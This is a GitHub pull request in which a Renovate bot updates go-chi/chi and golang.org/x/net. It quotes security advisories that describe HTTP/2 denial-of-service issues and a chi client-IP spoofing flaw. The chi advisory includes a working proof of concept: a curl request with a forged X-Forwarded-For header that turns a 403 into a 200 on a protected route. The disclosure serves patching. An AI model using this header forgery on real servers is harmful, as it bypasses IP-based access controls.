Skip to content

chore(deps): update vulnerable dependencies [security] (main) - #414

Open
crossplane-renovate[bot] wants to merge 1 commit into
mainfrom
renovate/main-vulnerable-dependencies
Open

chore(deps): update vulnerable dependencies [security] (main)#414
crossplane-renovate[bot] wants to merge 1 commit into
mainfrom
renovate/main-vulnerable-dependencies

Conversation

@crossplane-renovate

@crossplane-renovate crossplane-renovate Bot commented Oct 9, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
github.com/go-chi/chi/v5 v5.3.0 → v5.4.0 age confidence
golang.org/x/net v0.58.0 → v0.60.0 age confidence

chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For

CVE-2026-114437 / GHSA-j6qf-3m9c-vwj3

More information

Details

Summary

ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

  1. Send GET /admin directly to the origin with no X-Forwarded-For header.
  2. Observe a 403 Forbidden response and an empty derived client IP.
  3. Repeat the request with X-Forwarded-For: 10.0.0.7, 198.51.100.42.
  4. Observe 200 OK and client-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.
Details

The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
	ip, ok := parseHeaderAddr(v)
	if !ok {
		return true
	}
	if inAnyPrefix(ip, prefixes) {
		return false
	}
	found = ip
	return true
})

The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.

Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)

const allowedIP = "10.0.0.7"

func main() {
	r := chi.NewRouter()
	r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
	r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
		clientIP := middleware.GetClientIP(r.Context())
		if clientIP != allowedIP {
			http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
			return
		}
		fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
	})

	log.Print("listening on http://127.0.0.1:3001")
	log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .

The no-header control was rejected:

$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip=""

Adding the forged chain authorized the same direct client:

$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"
Impact

I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

HTTP/2 server memory exhaustion due to Trailer headers in net/http

BIT-golang-2026-78659 / CVE-2026-78659 / GO-2026-6603

More information

Details

When "Trailer" headers are sent by a client, the HTTP server internally uses the header values to populate the Request.Trailer map passed to the server handler. Because Request.Trailer is a map, each entry incurs memory overhead. For HTTP/2 servers, a malicious client can exploit this by sending a "Trailer" header that declares a large number of fields, causing the server to allocate a disproportionate amount of memory while bypassing Server.MaxHeaderValueCount and Server.MaxHeaderBytes limits. This exploit is not applicable for HTTP/1 servers, which do not support multiplexing a large number of requests over one TCP connection, and whose Server.MaxHeaderBytes are calculated differently.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

HTTP/2 transport accepts malformed framing-related headers in net/http

BIT-golang-2026-78660 / CVE-2026-78660 / GO-2026-6610

More information

Details

Historically, we have been rather lax about malformed framing-related headers in our HTTP/2 implementation, as they cannot interfere with HTTP/2 framing. However, this makes it possible for our HTTP/2 implementation to forward responses containing such headers to an HTTP/1 client when acting as a reverse proxy. If the HTTP/1 client also does not behave strictly enough, this can result in response smuggling.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Excessive CPU consumption from repeated initial window changes in net/http

BIT-golang-2026-78669 / CVE-2026-78669 / GO-2026-6611

More information

Details

A malicious HTTP/2 peer can cause excessive CPU consumption in the client or server by opening a large number of streams and then sending many small SETTINGS frames containing SETTINGS_INITIAL_WINDOW_SIZE values.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Double flow control refund on HTTP/2 server streams in net/http

BIT-golang-2026-78663 / CVE-2026-78663 / GO-2026-6612

More information

Details

The HTTP/2 server can refund connection-level flow control twice for the same data: Once when a client resets a stream (refunding data for any sent-but-unread portion of the stream), and again when a request handler reads the buffered data. A malicious client can exploit this to bypass the configured connection-level flow control limit (MaxReceiveBufferPerConnection). Total buffered data is still limited by the concurrent stream limit and stream-level flow control.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

HTTP/2 server crash due to HPACK encoder race in net/http

BIT-golang-2026-97032 / CVE-2026-97032 / GO-2026-6617

More information

Details

HTTP/2 servers could end up crashing due to inadvertently modifying its HPACK encoder concurrently. This happens because the server modifies the HPACK encoder from two goroutines without synchronization: one uses the encoder to encode a HEADERS frame as part of a response sent to a client and the other modifies the encoder's table size when handling a SETTINGS frame containing SETTINGS_HEADER_TABLE_SIZE that a client sends. A malicious client can repeatedly send a request while changing the header table size to crash the server.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Release Notes

go-chi/chi (github.com/go-chi/chi/v5)

v5.4.0

Compare Source

What's Changed

New Contributors

Full Changelog: go-chi/chi@v5.3.2...v5.4.0

v5.3.2

Compare Source

What's Changed

  • feat(middleware): add text/markdown, text/csv, text/vtt to default compressible types by @​VojtechVitek in #​1151
  • docs: deployment recipe for middleware.ClientIPFromXFFTrustedProxies() by @​VojtechVitek in #​1111
  • fix: don't drop handlers that collide with a Mount()/Route() pattern by @​VojtechVitek in #​1148
  • Don't duplicate methods in Allow: header for 405 responses by @​flimzy in #​1029
  • fix(middleware): reject catch-all compress wildcards by @​VojtechVitek in #​1156
    • middleware.NewCompressor(level, "/*") never worked and silently compressed nothing. Instead of turning it into a compress-everything catch-all (as proposed in #​868 and #​1121), we decided to reject both "/" and "/*" at construction and panic. Compressing every response wastes CPU on already-compressed types (zip, jpeg, png), which is why the middleware keeps a curated default list. Users should pass explicit content types.

Full Changelog: go-chi/chi@v5.3.1...v5.3.2

v5.3.1

Compare Source

What's Changed

New Contributors

Full Changelog: go-chi/chi@v5.3.0...v5.3.1

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

@crossplane-renovate

crossplane-renovate Bot commented Oct 9, 2026

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 6 additional dependencies were updated

Details:

Package Change
golang.org/x/mod v0.40.0 -> v0.41.0
golang.org/x/sync v0.22.0 -> v0.23.0
golang.org/x/text v0.41.0 -> v0.42.0
golang.org/x/crypto v0.56.0 -> v0.57.0
golang.org/x/sys v0.47.0 -> v0.48.0
golang.org/x/term v0.45.0 -> v0.46.0

@crossplane-renovate
crossplane-renovate Bot requested review from a team and tampakrap as code owners October 9, 2026 08:08
@crossplane-renovate
crossplane-renovate Bot requested review from adamwg and removed request for a team October 9, 2026 08:08
@crossplane-renovate
crossplane-renovate Bot force-pushed the renovate/main-vulnerable-dependencies branch 2 times, most recently from 82b0965 to 0f3dacb Compare October 22, 2026 08:06
@crossplane-renovate
crossplane-renovate Bot force-pushed the renovate/main-vulnerable-dependencies branch from 0f3dacb to fb82a3c Compare October 24, 2026 08:06
@crossplane-renovate crossplane-renovate Bot changed the title chore(deps): update module golang.org/x/net to v0.60.0 [security] (main) chore(deps): update vulnerable dependencies [security] (main) Oct 24, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@jcogilvie jcogilvie Awaiting requested review from jcogilvie jcogilvie is a code owner
@tampakrap tampakrap Awaiting requested review from tampakrap tampakrap is a code owner
@adamwg adamwg Awaiting requested review from adamwg adamwg is a code owner automatically assigned from crossplane/crossplane-maintainers

At least 1 approving review is required to merge this pull request.

Assignees

No one assigned

Labels

automated security

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants